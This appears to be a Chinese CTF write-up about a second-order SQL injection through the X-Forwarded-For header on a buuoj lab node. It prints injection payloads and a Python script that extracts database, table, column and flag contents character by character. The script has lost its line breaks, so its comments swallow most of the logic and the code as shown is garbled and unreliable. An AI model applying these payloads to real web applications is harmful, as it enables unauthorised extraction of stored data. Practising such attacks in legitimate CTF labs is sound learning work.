这几天也是ctf做得有点头疼了。好些序列化的题没碰,一直做些sql注入类的题目。闲来无事,在更一次sql注入吧。
整个页面就这点信息。首先想想为什么他能获取你的ip。猜测是数据包X-Forwarded-For。
它还输出上次访问页面客户端的ip。很明显了,多半是二次注入
X-Forwarded-For:0'or 1 or'0
当构造这样的payload的时候。
1.先构造payload,点击发送
2.在换一个随便的ip,点击发送
3.在次点击发送
last ip就变成1了。说明的确是sql二次注入
这个原理就和上次网鼎杯那个sql注入一样。要是使用传统的注入就太慢了。因此我们构造这样的payload
0'+ (ASCII(SUBSTR((select group_concat(schema_name) from information_schema.schemata),1,1))) +'0
sql语句的含义是将数据库的第一个字母的ascii码于0相加。(mysql数据库+是运算符)
这个last ip就等于105了。这关也没过滤啥。通过这个方法,就可以构造脚本了。
import requests
flag=''
url='http://node5.buuoj.cn:25578/'
for i in range(1,500):s=requests.session()# (ASCII(SUBSTR((select group_concat(schema_name) from information_schema.schemata),{},1)))# (ASCII(SUBSTR((select(group_concat(table_name))FROM(information_schema.TABLES)where(table_schema)='F4l9_D4t4B45e'),{},1)))# F4l9_t4b1e# (ASCII(SUBSTR((select(group_concat(column_name))from(information_schema.columns)where(table_name="F4l9_t4b1e")),{},1)))# F4l9_C01uMn# (ASCII(SUBSTR((select(group_concat(F4l9_C01uMn))from(F4l9_t4b1e)),1,1)))headers={"X-Forwarded-For":"0'+(ASCII(SUBSTR((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),{},1)))+'0".format(i),'Cookie':'_ga=GA1.1.1748561756.1709982957; _ga_0WLTHS96P4=GS1.1.1709982957.1.1.1709982979.0.0.0; track_uuid=87ee5b24-ee01-43dc-ee18-fca0644f3e53'}headers1={"X-Forwarded-For":"1",'Cookie':'_ga=GA1.1.1748561756.1709982957; _ga_0WLTHS96P4=GS1.1.1709982957.1.1.1709982979.0.0.0; track_uuid=87ee5b24-ee01-43dc-ee18-fca0644f3e53'}data=s.get(url,headers=headers)data1=s.get(url,headers=headers1)data2=s.get(url,headers=headers1)y=data2.textx=y.split('\n')[-1]z=x[9:]flag=flag+chr(int(z.split(' ')[0]))print(flag)
最后还要注意的一点就是,这里是跨库查询。flag不在当前数据库。我们第一步必须要先爆库名。
最后一步获取数据是也别忘记"F4l9_D4t4B45e.F4l9_t4b1e",代表F4l9_D4t4B45e数据库下的F4l9_t4b1e表。
这就是最后跑出来的结果了